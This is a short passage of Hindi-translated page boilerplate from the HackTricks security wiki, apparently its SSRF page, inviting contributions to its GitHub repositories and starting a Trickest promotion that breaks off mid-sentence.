* **अपने हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड गिटहब रेपो में पीआर जमा करके। * **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में प
</details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) का उपयोग करें और